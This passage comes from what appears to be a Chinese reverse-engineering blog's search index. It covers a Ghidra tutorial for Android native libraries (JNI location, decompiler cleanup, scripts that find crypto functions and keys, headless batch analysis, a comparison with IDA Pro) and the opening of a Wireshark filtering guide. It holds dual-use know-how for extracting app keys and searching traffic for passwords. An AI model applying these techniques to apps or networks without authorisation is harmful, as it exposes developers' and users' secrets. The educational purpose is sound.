搜索未被识别的函数入口 Aggressive Instruction Finder - 激进地查找代码区域 ELF Scalar Operand References - 解析 ELF 中的标量引用 Non-Returning Functions - 识别不返回的函数（如 abort, exit） Stack - 分析栈帧结构 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:6:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#自动分析选项"},{"categories":null,"collections":null,"content":"定位 JNI 函数 Android SO 中最关键的是 JNI (Java Native Interface) 函数。有两种注册方式： 静态注册 - 函数名遵循固定格式： Java_com_example_app_MainActivity_stringFromJNI 在 Symbol Tree 中过滤 Java_ 前缀即可快速找到所有静态注册的 JNI 函数。 动态注册 - 通过 JNI_OnLoad 中调用 RegisterNatives。在 Ghidra 中定位步骤： 在 Symbol Tree 中找到 JNI_OnLoad 在反编译窗口中找到 RegisterNatives 调用 追踪第三个参数 (methods 数组)，其中包含 {Java方法名, 签名, Native函数指针} 的映射 函数指针即为实际的 Native 实现，可以跳转过去分析 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:6:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#定位-jni-函数"},{"categories":null,"collections":null,"content":"应用 JNI 类型定义 为了让反编译结果更可读，建议导入 JNI 头文件的类型定义： 打开 Data Type Manager 右键 -\u003e Parse C Source... 添加 Android NDK 中的 jni.h 头文件路径 解析完成后，JNIEnv, JavaVM, jclass 等类型就可以在反编译窗口中使用了 如果不想导入完整的 NDK 头文件，也可以在 Parse C Source 对话框中直接粘贴简化的 typedef 定义（如 typedef void* JNIEnv; 等）。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:6:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#应用-jni-类型定义"},{"categories":null,"collections":null,"content":"反编译器使用 Ghidra 的反编译器是其核心竞争力，也是大多数用户选择 Ghidra 的最主要原因。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:7:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#反编译器使用"},{"categories":null,"collections":null,"content":"Ghidra 反编译器 vs Hex-Rays 对比维度 Ghidra Decompiler Hex-Rays (IDA Pro) 价格 免费内置 需额外付费，非常昂贵 架构支持 几乎所有 Ghidra 支持的架构 x86/x64/ARM/ARM64/MIPS/PPC 输出质量 良好，偶有冗余代码 优秀，更贴近原始代码 类型推断 良好 优秀 交互修改 支持双向同步 支持双向同步 Switch 识别 较好 极好 C++ 虚函数 部分支持 支持较好 总体而言，Hex-Rays 在输出质量上仍然领先，但 Ghidra 反编译器已经达到了非常实用的水平，对于大多数 Android 逆向场景完全够用。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:7:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidra-反编译器-vs-hex-rays"},{"categories":null,"collections":null,"content":"阅读反编译输出 Ghidra 反编译器输出的伪代码有一些特点需要了解： // Ghidra 典型的反编译输出 undefined8 FUN_00012a4c(long param_1, long param_2, long param_3) { int iVar1; long lVar2; undefined8 uVar3; char acStack_90 [128]; lVar2 = *(long *)(param_1 + 0x18); iVar1 = (**(code **)(lVar2 + 0x538))(param_1, param_3, 0); if (iVar1 == 0) { uVar3 = 0; } else { __memcpy_chk(acStack_90, iVar1, 0x80, 0x80); uVar3 = FUN_00012b10(acStack_90); } return uVar3; } 关键标识符含义：undefined8 = 未推断出的 8 字节类型；FUN_00012a4c = 未命名函数 (地址)；param_1 = 自动参数名；acStack_90 = 栈偏移 0x90 的 char 数组；*(long *)(param_1 + 0x18) = 需要恢复的结构体成员访问。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:7:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#阅读反编译输出"},{"categories":null,"collections":null,"content":"修复类型和函数签名 分析 Android SO 时，第一步通常是修复 JNI 函数签名。以上面的例子为例： 修改函数签名: 右键函数名 -\u003e Edit Function Signature，将 undefined8 FUN_00012a4c(long, long, long) 改为 jboolean native_verify(JNIEnv *env, jobject thiz, jstring input) 修复结构体访问: 修改参数类型后，*(long *)(param_1 + 0x18) 会自动解析为结构体成员 重命名局部变量: 右键变量 -\u003e Rename Variable（或按 L），根据上下文取有意义的名称 修复后的反编译输出对比： // 修复前 undefined8 FUN_00012a4c(long param_1, long param_2, long param_3) { ... } // 修复后 jboolean native_verify(JNIEnv *env, jobject thiz, jstring input) { const char *inputStr; char buffer[128]; jboolean result; inputStr = (*env)-\u003eGetStringUTFChars(env, input, 0); if (inputStr == NULL) { result = JNI_FALSE; } else { __memcpy_chk(buffer, inputStr, 0x80, 0x80); result = do_verify(buffer); } return result; } 可以看到，修复类型后代码的可读性有了质的飞跃。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:7:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#修复类型和函数签名"},{"categories":null,"collections":null,"content":"Ghidra Script 实战 💡 思路一句话: Ghidra 脚本（Java/Python）可以自动化重复操作 — 比如批量搜索特定指令模式、自动标注函数类型、导出分析结果为 JSON 供其他工具使用。 Ghidra 强大的脚本能力是其核心优势之一。支持 Java 和 Python (Jython) 两种脚本语言。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:8:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidra-script-实战"},{"categories":null,"collections":null,"content":"打开 Script Manager 在 Code Browser 中，点击顶部菜单栏的绿色播放按钮图标（或 Window -\u003e Script Manager），打开 Script Manager。这里有大量 NSA 官方和社区贡献的预置脚本。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:8:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#打开-script-manager"},{"categories":null,"collections":null,"content":"脚本基础 - FlatAPI Ghidra 脚本的核心是 FlatAPI，它提供了一系列简洁的接口来操作程序数据。以下是常用的 API 对象： API 对象 用途 currentProgram 当前程序对象，获取所有程序信息的入口 currentAddress 当前光标所在的地址 currentSelection 当前选中的地址范围 getFunctionManager() 函数管理器，增删改查函数 getMemory() 内存管理器，读写程序内存 getSymbolTable() 符号表，管理符号 getDataTypeManager() 数据类型管理器 getDecompInterface() 反编译器接口 (仅 Java) toAddr(long) 将整数转换为 Address 对象 getBytes(addr, length) 从指定地址读取字节 createFunction(addr, name) 在指定地址创建函数 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:8:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#脚本基础---flatapi"},{"categories":null,"collections":null,"content":"示例 1: 列出所有函数 # list_functions.py - 列出所有函数名称和地址 from ghidra.program.model.symbol import SymbolType print(\"--- All Functions ---\") func_manager = currentProgram.getFunctionManager() funcs = func_manager.getFunctions(True) # True means iterate in address order count = 0 for func in funcs: print(\"{} at {}\".format(func.getName(), func.getEntryPoint())) count += 1 print(\"Total functions: {}\".format(count)) ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:8:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#示例-1-列出所有函数"},{"categories":null,"collections":null,"content":"示例 2: 查找所有加密相关函数 在 Android 逆向中，经常需要快速定位加密相关的代码： # find_crypto.py - 查找潜在的加密/签名相关函数和字符串 import re keywords = [\"aes\", \"des\", \"rsa\", \"md5\", \"sha256\", \"encrypt\", \"decrypt\", \"cipher\", \"hmac\", \"base64\", \"key\", \"iv\", \"salt\", \"pbkdf\"] pattern = re.compile(\"|\".join(keywords), re.IGNORECASE) # 搜索函数名 for func in currentProgram.getFunctionManager().getFunctions(True): if pattern.search(func.getName()): print(\"[FUNC] {} @ {}\".format(func.getName(), func.getEntryPoint())) # 搜索字符串 from ghidra.program.util import DefinedDataIterator for data in DefinedDataIterator.definedStrings(currentProgram): val = str(data.getValue()) if pattern.search(val): print(\"[STR] '{}' @ {}\".format(val[:60], data.getAddress())) ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:8:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#示例-2-查找所有加密相关函数"},{"categories":null,"collections":null,"content":"示例 3: 批量重命名 sub_ 函数 当分析动态注册的 JNI 函数时，经常需要根据 RegisterNatives 的 methods 数组批量重命名函数： # rename_jni_methods.py - 根据已知映射关系重命名 JNI 函数 # 在分析 RegisterNatives 后，手动整理出映射关系 jni_mappings = { 0x12a4c: \"native_verify\", 0x12b10: \"native_encrypt\", 0x12c80: \"native_getKey\", 0x12d44: \"native_init\", } func_manager = currentProgram.getFunctionManager() for addr_int, new_name in jni_mappings.items(): addr = toAddr(addr_int) func = func_manager.getFunctionAt(addr) if func is not None: old_name = func.getName() func.setName(new_name, ghidra.program.model.symbol.SourceType.USER_DEFINED) print(\"Renamed: {} -\u003e {} @ {}\".format(old_name, new_name, addr)) else: print(\"No function at {}\".format(addr)) ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:8:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#示例-3-批量重命名-sub_-函数"},{"categories":null,"collections":null,"content":"示例 4: Java 脚本 - 使用反编译器 API Java 脚本可以直接调用 DecompInterface 来获取反编译输出，功能比 Python 脚本更强大。核心模式如下： // FindSuspiciousCalls.java - 在反编译输出中搜索可疑调用 DecompInterface decomp = new DecompInterface(); decomp.openProgram(currentProgram); FunctionIterator funcs = currentProgram.getFunctionManager().getFunctions(true); while (funcs.hasNext()) { Function func = funcs.next(); DecompileResults results = decomp.decompileFunction(func, 30, monitor); if (results.decompileCompleted()) { String code = results.getDecompiledFunction().getC(); // 在反编译的 C 代码文本中搜索 \"dlopen\", \"ptrace\", \"system\" 等关键词 if (code.contains(\"dlopen\")) { printf(\"[!] %s @ %s\\n\", func.getName(), func.getEntryPoint()); } } } decomp.dispose(); ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:8:6","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#示例-4-java-脚本---使用反编译器-api"},{"categories":null,"collections":null,"content":"Headless 模式 Ghidra 的 Headless Analyzer (无头分析器) 允许在不启动 GUI 的情况下进行分析，非常适合批量处理和 CI/CD 集成。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:9:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#headless-模式"},{"categories":null,"collections":null,"content":"基本用法 # 基本语法 \u003cghidra_install\u003e/support/analyzeHeadless \\ \u003cproject_dir\u003e \u003cproject_name\u003e \\ -import \u003ctarget_file\u003e \\ [options] # 实际例子: 导入并分析一个 SO 文件 ~/tools/ghidra_11.2_PUBLIC/support/analyzeHeadless \\ /tmp/ghidra_projects MyProject \\ -import libsecurity.so \\ -overwrite \\ -log /tmp/ghidra_analysis.log ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:9:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#基本用法"},{"categories":null,"collections":null,"content":"常用参数 参数 说明 -import \u003cfile\u003e 导入文件进行分析 -process \u003cfile\u003e 处理已导入项目中的文件 -overwrite 如果文件已存在则覆盖 -recursive 递归导入目录中的所有文件 -postScript \u003cscript\u003e 分析完成后运行指定脚本 -preScript \u003cscript\u003e 分析开始前运行指定脚本 -scriptPath \u003cdir\u003e 添加额外的脚本搜索路径 -deleteProject 分析完成后删除项目 -noanalysis 只导入不分析 -processor \u003clang\u003e 手动指定处理器架构 -log \u003clogfile\u003e 指定日志输出文件 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:9:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#常用参数"},{"categories":null,"collections":null,"content":"批量分析 APK 中所有 SO 文件 #!/bin/bash # batch_analyze.sh - 批量分析 APK 中的所有 SO 文件 APK_PATH=\"$1\" GHIDRA_HOME=\"$HOME/tools/ghidra_11.2_PUBLIC\" PROJECT_DIR=\"/tmp/ghidra_batch\" EXTRACT_DIR=$(mktemp -d) unzip -q \"$APK_PATH\" -d \"$EXTRACT_DIR\" find \"$EXTRACT_DIR/lib\" -name \"*.so\" | while read SO_FILE; do SO_NAME=$(basename \"$SO_FILE\") echo \"[*] Analyzing: $SO_NAME\" \"$GHIDRA_HOME/support/analyzeHeadless\" \\ \"$PROJECT_DIR\" BatchAnalysis \\ -import \"$SO_FILE\" -overwrite \\ -postScript \"find_crypto.py\" \\ -log \"/tmp/${SO_NAME}.log\" 2\u003e\u00261 | tail -3 done rm -rf \"$EXTRACT_DIR\" 提示: Headless 模式非常适合集成到 CI/CD 流水线中，例如在 GitHub Actions 中安装 JDK + Ghidra，然后对提交的样本自动运行分析脚本并上传报告。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:9:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#批量分析-apk-中所有-so-文件"},{"categories":null,"collections":null,"content":"常用插件与扩展 Ghidra 的生态系统正在快速成长，以下是 Android 逆向中最有价值的插件和扩展。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:10:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#常用插件与扩展"},{"categories":null,"collections":null,"content":"GhidraDev (官方 Eclipse 插件) 用于在 Eclipse IDE 中开发 Ghidra 脚本和模块： 在 Eclipse 中安装：Help -\u003e Install New Software... 添加 \u003cghidra_install\u003e/Extensions/Eclipse/GhidraDev/ 目录 安装完成后可以创建 Ghidra 脚本项目和模块项目 支持代码补全、调试等 IDE 功能 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:10:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidradev-官方-eclipse-插件"},{"categories":null,"collections":null,"content":"ghidra2ida / ida2ghidra 在 Ghidra 和 IDA Pro 之间迁移分析数据： 用途: 将 IDA 中的函数名、注释、结构体定义导入 Ghidra，反之亦然 场景: 团队中部分成员使用 IDA，部分使用 Ghidra 安装: 从 GitHub 下载对应版本，放入 \u003cghidra_install\u003e/Extensions/Ghidra/ 目录 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:10:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidra2ida--ida2ghidra"},{"categories":null,"collections":null,"content":"SVD-Loader 为嵌入式设备逆向提供 SVD (System View Description) 文件支持： 自动将硬件寄存器地址映射为有意义的名称 对于分析 IoT 设备固件、Android 内核模块非常有用 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:10:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#svd-loader"},{"categories":null,"collections":null,"content":"其他推荐插件 插件名 用途 GhidraOllvm 辅助分析 OLLVM 混淆的二进制文件 Ghidra Firmware Utils 固件分析工具包 Ghidra Kotlin Kotlin 脚本支持 ret-sync 与动态调试器 (GDB/LLDB/x64dbg) 同步 Ghidra Patch Diff 二进制差异对比 (类似 BinDiff) Awesome Ghidra GitHub 上的插件收集项目，持续更新 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:10:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#其他推荐插件"},{"categories":null,"collections":null,"content":"安装插件的通用方法 1. 下载插件 ZIP 包 2. Ghidra 主界面: File -\u003e Install Extensions... 3. 点击 \"+\" 按钮，选择 ZIP 包 4. 重启 Ghidra ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:10:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#安装插件的通用方法"},{"categories":null,"collections":null,"content":"Ghidra vs IDA Pro 深度对比 在 Android 逆向的实际工作中，Ghidra 和 IDA Pro 各有千秋。以下从多个实际场景出发进行深度对比。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:11:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidra-vs-ida-pro-深度对比"},{"categories":null,"collections":null,"content":"反编译质量对比 以一个典型的 Android SO 中的 AES 加密函数为例，对比两者的反编译输出： Ghidra 输出: void FUN_00013a00(byte *param_1, byte *param_2, int param_3, byte *param_4, int param_5) { AES_KEY local_108; byte local_e0 [16]; __memcpy_chk(local_e0, param_4, 0x10, 0x10); AES_set_encrypt_key(param_2, param_3 \u003c\u003c 3, \u0026local_108); AES_cbc_encrypt(param_1, param_1, (long)param_5, \u0026local_108, local_e0, 1); return; } IDA Pro (Hex-Rays) 输出: void __fastcall aes_cbc_encrypt_wrapper( uint8_t *data, const uint8_t *key, int key_len, uint8_t *iv, int data_len) { AES_KEY expanded; uint8_t iv_copy[16]; memcpy(iv_copy, iv, 16); AES_set_encrypt_key(key, 8 * key_len, \u0026expanded); AES_cbc_encrypt(data, data, data_len, \u0026expanded, iv_copy, 1); } 分析: IDA Pro 的输出更干净，FLIRT 技术更好地识别了库函数，类型推断也更准确。但 Ghidra 的输出完全可以理解，经过手动修复类型后差距会大幅缩小。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:11:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#反编译质量对比"},{"categories":null,"collections":null,"content":"功能对比详表 功能 Ghidra IDA Pro ARM Thumb 切换 自动处理，偶尔出错 极其准确 FLIRT 签名 支持 (Function ID)，库较少 极其丰富，识别率高 结构体恢复 手动为主，支持从 C 头文件导入 自动推断较好，Local Types 功能强大 字符串识别 良好，支持 UTF-8/UTF-16 优秀，支持更多编码 调试器 内置但不成熟 成熟强大，支持远程调试 Android Patch 能力 支持直接修改字节 支持 Keypatch 等插件，更方便 导出 C 代码 支持批量导出所有函数反编译结果 需要脚本辅助 版本控制 Ghidra Server 内置 无内置方案 Python 版本 Jython (Python 2.7) Python 3.x (IDAPython) 启动速度 较慢 (Java 冷启动) 快 大文件分析 内存消耗较大，需调优 优化良好 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:11:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#功能对比详表"},{"categories":null,"collections":null,"content":"如何选择 预算有限 / 个人学习 / 团队协作 -\u003e Ghidra（免费 + Ghidra Server） 预算充足 + 需要动态调试 -\u003e IDA Pro + 远程调试器 实际建议: 对于 Android 逆向入门者和独立研究者，Ghidra 是最佳选择。对于企业级漏洞挖掘团队，IDA Pro 仍然是首选。两者并不互斥，很多专业人员同时使用。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:11:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#如何选择"},{"categories":null,"collections":null,"content":"高级技巧 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:12:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#高级技巧"},{"categories":null,"collections":null,"content":"自定义数据类型 在分析 Android SO 时，经常遇到复杂的自定义数据结构。Ghidra 的 Data Type Manager 支持多种方式定义： 方法 1: 图形界面创建 Data Type Manager 右键 -\u003e New -\u003e Structure 在弹出的结构体编辑器中添加成员 设置每个成员的类型、大小和名称 方法 2: 从 C 头文件导入 // 保存为 custom_types.h，通过 Parse C Source 导入 struct AppConfig { int version; int flags; char app_id[64]; char secret_key[32]; unsigned long timestamp; int (*callback)(void*, int); }; struct EncryptContext { unsigned char key[32]; unsigned char iv[16]; int key_length; int mode; // 0=ECB, 1=CBC, 2=CTR void *cipher_ctx; }; 方法 3: 在反编译窗口中直接创建 在反编译输出中看到类似 *(int *)(param_1 + 0x44) 的模式时： 右键 param_1 -\u003e Auto Create Structure Ghidra 会自动根据所有对该指针的偏移访问生成结构体 然后手动完善各字段的名称和类型 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:12:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#自定义数据类型"},{"categories":null,"collections":null,"content":"RTTI 信息恢复 对于 C++ 编写的 SO 文件，RTTI (Run-Time Type Information) 信息可以帮助恢复类层次结构： Ghidra 内置了基本的 RTTI 分析支持 在 Analysis Options 中确保 GCC RTTI Analyzer 已启用 分析完成后，在 Symbol Tree 中搜索 typeinfo 或 vtable 前缀 通过虚函数表 (vtable) 可以还原类的继承关系和虚函数列表 // 典型的 vtable 结构 (Ghidra 中查看) // // vtable for MyClass: // +0x00: offset_to_top (0) // +0x08: typeinfo pointer -\u003e typeinfo for MyClass // +0x10: MyClass::method1() // +0x18: MyClass::method2() // +0x20: MyClass::~MyClass() 可以编写脚本遍历 vtable 中的每个指针，读取对应的函数地址并批量重命名为 ClassName::vfunc_N 的格式，快速恢复类的方法列表。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:12:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#rtti-信息恢复"},{"categories":null,"collections":null,"content":"PDB 与外部符号加载 虽然 Android SO 通常不带 PDB 文件，但在以下场景中外部符号加载很有用： 调试版本 SO: 开发者可能保留了带符号的 SO 文件，从 obj/ 目录中获取 系统库: Android AOSP 提供了带符号的系统库，可以提升分析质量 DWARF 调试信息: 某些 SO 保留了 DWARF 信息，Ghidra 会在导入时自动解析 可以用 readelf -S libtarget.so | grep debug 检查是否包含 DWARF 调试信息。如果有 .debug_info 等段，Ghidra 会在导入时自动解析。也可以通过 File -\u003e Load PDB File... 手动加载外部符号文件。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:12:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#pdb-与外部符号加载"},{"categories":null,"collections":null,"content":"Ghidra Server 协作分析 Ghidra Server 提供版本控制和并发分析能力。服务端通过 \u003cghidra_install\u003e/server/ 目录下的脚本管理：svrInstall 初始化、ghidraSvr start 启动、svrAdmin -add \u003cuser\u003e 添加用户。客户端通过 File -\u003e New Project... -\u003e Shared Project 连接服务器（默认端口 13100），使用 Check Out / Check In 管理文件，工作流类似 SVN。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:12:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidra-server-协作分析"},{"categories":null,"collections":null,"content":"实用小技巧汇总 快速查看某地址被谁引用: 选中地址后按 X，查看所有交叉引用 (Xrefs) 搜索常量值: Search -\u003e For Scalars...，输入可疑的魔数 (如 AES 的 S-Box 值 0x63) 对比两个函数: Window -\u003e Function Comparison，并排查看两个函数的汇编和反编译 书签标记: Ctrl+D 在当前地址创建书签，方便后续快速跳转 导出反编译结果: File -\u003e Export Program...，选择 C/C++ 格式，可以导出所有函数的反编译伪代码 Undo/Redo: Ctrl+Z / Ctrl+Shift+Z，Ghidra 支持几乎无限次撤销 自动注释: Edit -\u003e Tool Options -\u003e Listing Fields -\u003e Plate Comment，设置自动显示函数的交叉引用摘要 内存搜索: Search -\u003e Memory...，支持十六进制字节序列搜索，适合查找特征码 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:12:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#实用小技巧汇总"},{"categories":null,"collections":null,"content":"优缺点分析 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:13:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#优缺点分析"},{"categories":null,"collections":null,"content":"优点 免费与开源: 无任何费用，社区可以审查和贡献代码。 强大的反编译器: 内置的高质量反编译器是其最大的卖点，足以媲美甚至在某些方面超越昂贵的商业软件。 跨平台: 基于 Java，可以在 Windows, macOS, Linux 上无差别运行。 优秀的协作功能: Ghidra Server 的存在使得团队协作变得非常容易。 Headless 模式: 强大的命令行批处理能力，适合自动化流水线和 CI 集成。 完整的处理器支持: 对 ARM/ARM64/MIPS 等 Android 相关架构支持完善。 活跃的社区: NSA 持续维护，GitHub 上社区活跃，新功能和修复更新频繁。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:13:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#优点"},{"categories":null,"collections":null,"content":"缺点 性能: 基于 Java Swing 的 UI 在处理超大型二进制文件时，可能会感到卡顿，性能不如 IDA Pro。 生态系统: 虽然正在快速发展，但插件和社区支持的成熟度仍然不及 IDA Pro 经营多年的生态。 原生调试器: Ghidra 的调试器功能相对较弱，不如 IDA Pro 和 x64dbg 等专用调试器成熟。 Python 版本: 内置的 Jython 仅支持 Python 2.7，无法使用现代 Python 3 库（Ghidrathon 扩展可解决此问题）。 学习资源: 相比 IDA Pro 数十年积累的书籍和教程，Ghidra 的高质量学习资源仍然偏少。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:13:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#缺点"},{"categories":null,"collections":null,"content":"Wireshark 指南 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:0:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#wireshark-指南"},{"categories":null,"collections":null,"content":"概述 Wireshark 是网络协议分析的“显微镜”。与 Burp/Charles 这种 HTTP 代理不同，Wireshark 捕获的是网卡层的原始数据包（TCP/IP）。 在逆向中，我们主要用它来： 分析非 HTTP 的私有协议（如 WebSocket 里面的二进制流，或者 TCP 长连接）。 在无法设置代理的情况下（如某些 APP 开启了 VPN 检测或不走系统代理）强制抓包。 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:1:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#概述"},{"categories":null,"collections":null,"content":"1. 基础过滤 (Filters) Wireshark 的过滤器语法是必须掌握的。 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:2:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#1-基础过滤-filters"},{"categories":null,"collections":null,"content":"常用过滤器 按协议: http, tls, websocket, tcp 按 IP: ip.addr == 1.2.3.4 (源或目的), ip.src == 1.2.3.4 按端口: tcp.port == 443, udp.port == 53 按内容: frame contains \"password\" (二进制搜索) 